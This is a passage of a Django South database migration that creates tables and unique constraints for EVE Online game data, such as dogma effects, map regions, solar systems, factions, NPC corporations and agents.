('duration_attribute', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='inventoryeffectdurationeattribute', null=True, to=orm['eve_db.DgmAttributeType'])),
('tracking_speed_attribute', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='inventoryeffecttrackingspeedattribute', null=True, to=orm['eve_db.DgmAttributeType'])),
('discharge_attribute', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='inventoryeffectdischargeattribute', null=True, to=orm['eve_db.DgmAttributeType'])),
('range_attribute', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='inventoryeffectrangeattribute', null=True, to=orm['eve_db.DgmAttributeType'])),
('falloff_attribute', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='inventoryeffectfalloffattribute', null=True, to=orm['eve_db.DgmAttributeType'])),
('disallow_auto_repeat', self.gf('django.db.models.fields.BooleanField')(default=False)),
('is_published', self.gf('django.db.models.fields.BooleanField')(default=False)),
('display_name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('is_warp_safe', self.gf('django.db.models.fields.BooleanField')(default=False)),
('has_range_chance', self.gf('django.db.models.fields.BooleanField')(default=False)),
('has_electronic_chance', self.gf('django.db.models.fields.BooleanField')(default=False)),
('has_propulsion_chance', self.gf('django.db.models.fields.BooleanField')(default=False)),
('distribution', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('sfx_name', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
('npc_usage_chance_attribute', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='inventoryeffectnpcusagechanceattribute', null=True, to=orm['eve_db.DgmAttributeType'])),
('npc_activation_chance_attribute', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='inventoryeffectnpcactivationchanceattribute', null=True, to=orm['eve_db.DgmAttributeType'])),
('fitting_usage_chance_attribute', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='inventoryeffectfittingusagechanceattribute', null=True, to=orm['eve_db.DgmAttributeType'])),
))
db.send_create_signal('eve_db', ['DgmEffect'])
# Adding model 'DgmTypeEffect'
db.create_table('eve_db_dgmtypeeffect', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'])),
('effect', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.DgmEffect'])),
('is_default', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal('eve_db', ['DgmTypeEffect'])
# Adding unique constraint on 'DgmTypeEffect', fields ['type', 'effect']
db.create_unique('eve_db_dgmtypeeffect', ['type_id', 'effect_id'])
# Adding model 'InvPOSResourcePurpose'
db.create_table('eve_db_invposresourcepurpose', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('purpose', self.gf('django.db.models.fields.CharField')(max_length=75, blank=True)),
))
db.send_create_signal('eve_db', ['InvPOSResourcePurpose'])
# Adding model 'InvPOSResource'
db.create_table('eve_db_invposresource', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('control_tower_type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='tower_resource_set', to=orm['eve_db.InvType'])),
('resource_type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='pos_resource_set', to=orm['eve_db.InvType'])),
('purpose', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvPOSResourcePurpose'], null=True, blank=True)),
('quantity', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('min_security_level', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('faction', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.ChrFaction'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['InvPOSResource'])
# Adding unique constraint on 'InvPOSResource', fields ['control_tower_type', 'resource_type']
db.create_unique('eve_db_invposresource', ['control_tower_type_id', 'resource_type_id'])
# Adding model 'InvTypeReaction'
db.create_table('eve_db_invtypereaction', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('reaction_type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='inventorytypereactions_reaction_type_set', to=orm['eve_db.InvType'])),
('input', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='inventorytypereactions_type_set', to=orm['eve_db.InvType'])),
('quantity', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['InvTypeReaction'])
# Adding unique constraint on 'InvTypeReaction', fields ['reaction_type', 'input', 'type']
db.create_unique('eve_db_invtypereaction', ['reaction_type_id', 'input', 'type_id'])
# Adding model 'InvContrabandType'
db.create_table('eve_db_invcontrabandtype', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('faction', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.ChrFaction'])),
('type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'])),
('standing_loss', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('confiscate_min_sec', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('fine_by_value', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('attack_min_sec', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['InvContrabandType'])
# Adding unique constraint on 'InvContrabandType', fields ['faction', 'type']
db.create_unique('eve_db_invcontrabandtype', ['faction_id', 'type_id'])
# Adding model 'MapUniverse'
db.create_table('eve_db_mapuniverse', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('x_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('x_max', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y_max', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('z', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('z_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('x', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('radius', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['MapUniverse'])
# Adding model 'MapRegion'
db.create_table('eve_db_mapregion', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('faction', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.ChrFaction'], null=True, blank=True)),
('x_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('x_max', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y_max', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('z', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('z_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('x', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('radius', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['MapRegion'])
# Adding model 'MapRegionJump'
db.create_table('eve_db_mapregionjump', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('from_region', self.gf('django.db.models.fields.related.ForeignKey')(related_name='region_jumps_from_region_set', to=orm['eve_db.MapRegion'])),
('to_region', self.gf('django.db.models.fields.related.ForeignKey')(related_name='region_jumps_to_region_set', to=orm['eve_db.MapRegion'])),
))
db.send_create_signal('eve_db', ['MapRegionJump'])
# Adding unique constraint on 'MapRegionJump', fields ['from_region', 'to_region']
db.create_unique('eve_db_mapregionjump', ['from_region_id', 'to_region_id'])
# Adding model 'MapConstellation'
db.create_table('eve_db_mapconstellation', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('region', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapRegion'], null=True, blank=True)),
('x_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('x_max', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y_max', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('z', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('z_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('x', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('radius', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('faction', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.ChrFaction'], null=True, blank=True)),
('sovereignty_start_time', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('sovereignty_grace_start_time', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['MapConstellation'])
# Adding model 'MapConstellationJump'
db.create_table('eve_db_mapconstellationjump', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('from_region', self.gf('django.db.models.fields.related.ForeignKey')(related_name='constellation_jumps_from_region_set', to=orm['eve_db.MapRegion'])),
('from_constellation', self.gf('django.db.models.fields.related.ForeignKey')(related_name='constellation_jumps_from_constellation_set', to=orm['eve_db.MapConstellation'])),
('to_region', self.gf('django.db.models.fields.related.ForeignKey')(related_name='constellation_jumps_to_region_set', to=orm['eve_db.MapRegion'])),
('to_constellation', self.gf('django.db.models.fields.related.ForeignKey')(related_name='constellation_jumps_to_constellation_set', to=orm['eve_db.MapConstellation'])),
))
db.send_create_signal('eve_db', ['MapConstellationJump'])
# Adding unique constraint on 'MapConstellationJump', fields ['from_constellation', 'to_constellation']
db.create_unique('eve_db_mapconstellationjump', ['from_constellation_id', 'to_constellation_id'])
# Adding model 'MapSolarSystem'
db.create_table('eve_db_mapsolarsystem', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('region', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapRegion'], null=True, blank=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, null=True, blank=True)),
('constellation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapConstellation'], null=True, blank=True)),
('x_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('x_max', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y_max', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('z', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('z_min', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('x', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('luminosity', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('is_border_system', self.gf('django.db.models.fields.BooleanField')(default=False)),
('is_fringe_system', self.gf('django.db.models.fields.BooleanField')(default=False)),
('is_corridor_system', self.gf('django.db.models.fields.BooleanField')(default=False)),
('is_hub_system', self.gf('django.db.models.fields.BooleanField')(default=False)),
('is_international', self.gf('django.db.models.fields.BooleanField')(default=False)),
('has_interregional_link', self.gf('django.db.models.fields.BooleanField')(default=False)),
('has_interconstellational_link', self.gf('django.db.models.fields.BooleanField')(default=False)),
('security_level', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('faction', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='solarsystem_set', null=True, to=orm['eve_db.ChrFaction'])),
('radius', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('sun_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'], null=True, blank=True)),
('security_class', self.gf('django.db.models.fields.CharField')(max_length=5, blank=True)),
('sovereignty_level', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('sovereignty_start_time', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['MapSolarSystem'])
# Adding model 'MapSolarSystemJump'
db.create_table('eve_db_mapsolarsystemjump', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('from_region', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='solar_system_jumps_from_region_set', null=True, to=orm['eve_db.MapRegion'])),
('from_constellation', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='solar_system_jumps_from_constellation_set', null=True, to=orm['eve_db.MapConstellation'])),
('from_solar_system', self.gf('django.db.models.fields.related.ForeignKey')(related_name='solar_system_jumps_from_solar_system_set', to=orm['eve_db.MapSolarSystem'])),
('to_region', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='solar_system_jumps_to_region_set', null=True, to=orm['eve_db.MapRegion'])),
('to_constellation', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='solar_system_jumps_to_constellation_set', null=True, to=orm['eve_db.MapConstellation'])),
('to_solar_system', self.gf('django.db.models.fields.related.ForeignKey')(related_name='solar_system_jumps_to_solar_system_set', to=orm['eve_db.MapSolarSystem'])),
))
db.send_create_signal('eve_db', ['MapSolarSystemJump'])
# Adding unique constraint on 'MapSolarSystemJump', fields ['from_solar_system', 'to_solar_system']
db.create_unique('eve_db_mapsolarsystemjump', ['from_solar_system_id', 'to_solar_system_id'])
# Adding model 'MapJump'
db.create_table('eve_db_mapjump', (
('origin_gate', self.gf('django.db.models.fields.related.ForeignKey')(related_name='stargate_jump_origin_set', unique=True, primary_key=True, to=orm['eve_db.MapDenormalize'])),
('destination_gate', self.gf('django.db.models.fields.related.ForeignKey')(related_name='stargate_jump_destination_set', to=orm['eve_db.MapDenormalize'])),
))
db.send_create_signal('eve_db', ['MapJump'])
# Adding model 'MapCelestialStatistic'
db.create_table('eve_db_mapcelestialstatistic', (
('celestial', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapDenormalize'], unique=True, primary_key=True)),
('temperature', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('spectral_class', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('luminousity', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('age', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('life', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('orbit_radius', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('eccentricity', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('mass_dust', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('mass_gas', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('is_fragmented', self.gf('django.db.models.fields.BooleanField')(default=False)),
('density', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('surface_gravity', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('escape_velocity', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('orbit_period', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('rotation_rate', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('is_locked', self.gf('django.db.models.fields.BooleanField')(default=False)),
('pressure', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('radius', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('mass', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['MapCelestialStatistic'])
# Adding model 'MapDenormalize'
db.create_table('eve_db_mapdenormalize', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'], null=True, blank=True)),
('group', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvGroup'], null=True, blank=True)),
('solar_system', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapSolarSystem'], null=True, blank=True)),
('constellation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapConstellation'], null=True, blank=True)),
('region', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapRegion'], null=True, blank=True)),
('orbit_id', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('x', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('z', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('radius', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=100, null=True, blank=True)),
('security', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('celestial_index', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('orbit_index', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['MapDenormalize'])
# Adding model 'MapLandmark'
db.create_table('eve_db_maplandmark', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('solar_system', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapSolarSystem'], null=True, blank=True)),
('x', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('z', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('radius', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
('importance', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('url_2d', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
))
db.send_create_signal('eve_db', ['MapLandmark'])
# Adding model 'ChrRace'
db.create_table('eve_db_chrrace', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=30)),
('short_description', self.gf('django.db.models.fields.TextField')(blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['ChrRace'])
# Adding model 'ChrBloodline'
db.create_table('eve_db_chrbloodline', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('race', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='bloodline_set', null=True, to=orm['eve_db.ChrRace'])),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('male_description', self.gf('django.db.models.fields.TextField')(blank=True)),
('female_description', self.gf('django.db.models.fields.TextField')(blank=True)),
('starter_ship_type', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='bloodline_starter_ship_set', null=True, to=orm['eve_db.InvType'])),
('corporation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrpNPCCorporation'], null=True, blank=True)),
('starting_perception', self.gf('django.db.models.fields.IntegerField')(default=0)),
('starting_willpower', self.gf('django.db.models.fields.IntegerField')(default=0)),
('starting_charisma', self.gf('django.db.models.fields.IntegerField')(default=0)),
('starting_memory', self.gf('django.db.models.fields.IntegerField')(default=0)),
('starting_intelligence', self.gf('django.db.models.fields.IntegerField')(default=0)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
('short_description', self.gf('django.db.models.fields.TextField')(blank=True)),
('short_male_description', self.gf('django.db.models.fields.TextField')(blank=True)),
('short_female_description', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal('eve_db', ['ChrBloodline'])
# Adding model 'ChrAncestry'
db.create_table('eve_db_chrancestry', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('bloodline', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.ChrBloodline'], null=True, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('perception_bonus', self.gf('django.db.models.fields.IntegerField')(default=0)),
('willpower_bonus', self.gf('django.db.models.fields.IntegerField')(default=0)),
('charisma_bonus', self.gf('django.db.models.fields.IntegerField')(default=0)),
('memory_bonus', self.gf('django.db.models.fields.IntegerField')(default=0)),
('intelligence_bonus', self.gf('django.db.models.fields.IntegerField')(default=0)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
('short_description', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal('eve_db', ['ChrAncestry'])
# Adding model 'ChrAttribute'
db.create_table('eve_db_chrattribute', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('short_description', self.gf('django.db.models.fields.TextField')(blank=True)),
('notes', self.gf('django.db.models.fields.TextField')(blank=True)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['ChrAttribute'])
# Adding model 'ChrFaction'
db.create_table('eve_db_chrfaction', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('solar_system', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='faction_set', null=True, to=orm['eve_db.MapSolarSystem'])),
('corporation', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='faction_set', null=True, to=orm['eve_db.CrpNPCCorporation'])),
('size_factor', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('station_count', self.gf('django.db.models.fields.IntegerField')(default=0)),
('station_system_count', self.gf('django.db.models.fields.IntegerField')(default=0)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['ChrFaction'])
# Adding model 'CrpActivity'
db.create_table('eve_db_crpactivity', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=100)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal('eve_db', ['CrpActivity'])
# Adding model 'CrpNPCCorporation'
db.create_table('eve_db_crpnpccorporation', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('size', self.gf('django.db.models.fields.CharField')(max_length=1, blank=True)),
('extent', self.gf('django.db.models.fields.CharField')(max_length=1, blank=True)),
('solar_system', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapSolarSystem'], null=True, blank=True)),
('investor1', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='invested1_set', null=True, to=orm['eve_db.CrpNPCCorporation'])),
('investor1_shares', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('investor2', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='invested2_set', null=True, to=orm['eve_db.CrpNPCCorporation'])),
('investor2_shares', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('investor3', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='invested3_set', null=True, to=orm['eve_db.CrpNPCCorporation'])),
('investor3_shares', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('investor4', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='invested4_set', null=True, to=orm['eve_db.CrpNPCCorporation'])),
('investor4_shares', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('friendly_corp', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='friendly_with_set', null=True, to=orm['eve_db.CrpNPCCorporation'])),
('enemy_corp', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='enemy_of_set', null=True, to=orm['eve_db.CrpNPCCorporation'])),
('public_share_percent', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('initial_share_price', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('min_security', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('stations_are_scattered', self.gf('django.db.models.fields.BooleanField')(default=False)),
('fringe_systems', self.gf('django.db.models.fields.IntegerField')(default=0)),
('corridor_systems', self.gf('django.db.models.fields.IntegerField')(default=0)),
('hub_systems', self.gf('django.db.models.fields.IntegerField')(default=0)),
('border_systems', self.gf('django.db.models.fields.IntegerField')(default=0)),
('faction', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.ChrFaction'], null=True, blank=True)),
('size_factor', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('station_count', self.gf('django.db.models.fields.IntegerField')(default=0)),
('station_system_count', self.gf('django.db.models.fields.IntegerField')(default=0)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['CrpNPCCorporation'])
# Adding model 'CrpNPCDivision'
db.create_table('eve_db_crpnpcdivision', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('leader_type', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
))
db.send_create_signal('eve_db', ['CrpNPCDivision'])
# Adding model 'CrpNPCCorporationDivision'
db.create_table('eve_db_crpnpccorporationdivision', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('corporation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrpNPCCorporation'])),
('division', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrpNPCDivision'])),
('size', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['CrpNPCCorporationDivision'])
# Adding unique constraint on 'CrpNPCCorporationDivision', fields ['corporation', 'division']
db.create_unique('eve_db_crpnpccorporationdivision', ['corporation_id', 'division_id'])
# Adding model 'CrpNPCCorporationTrade'
db.create_table('eve_db_crpnpccorporationtrade', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('corporation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrpNPCCorporation'])),
('type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['CrpNPCCorporationTrade'])
# Adding unique constraint on 'CrpNPCCorporationTrade', fields ['corporation', 'type']
db.create_unique('eve_db_crpnpccorporationtrade', ['corporation_id', 'type_id'])
# Adding model 'CrpNPCCorporationResearchField'
db.create_table('eve_db_crpnpccorporationresearchfield', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('corporation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrpNPCCorporation'])),
('skill', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['CrpNPCCorporationResearchField'])
# Adding unique constraint on 'CrpNPCCorporationResearchField', fields ['skill', 'corporation']
db.create_unique('eve_db_crpnpccorporationresearchfield', ['skill_id', 'corporation_id'])
# Adding model 'AgtAgentType'
db.create_table('eve_db_agtagenttype', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255)),
))
db.send_create_signal('eve_db', ['AgtAgentType'])
# Adding model 'AgtAgent'
db.create_table('eve_db_agtagent', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('division', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrpNPCDivision'], null=True, blank=True)),
('corporation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrpNPCCorporation'], null=True, blank=True)),
('location', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapDenormalize'], null=True, blank=True)),
('level', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('quality', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.AgtAgentType'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['AgtAgent'])
# Adding model 'AgtConfig'
db.create_table('eve_db_agtconfig', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('agent', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.AgtAgent'])),
('key', self.gf('django.db.models.fields.CharField')(max_length=255)),
('value', self.gf('django.db.models.fields.CharField')(max_length=255, null=True, blank=True)),
))
db.send_create_signal('eve_db', ['AgtConfig'])
# Adding unique constraint on 'AgtConfig', fields ['agent', 'key']
db.create_unique('eve_db_agtconfig', ['agent_id', 'key'])
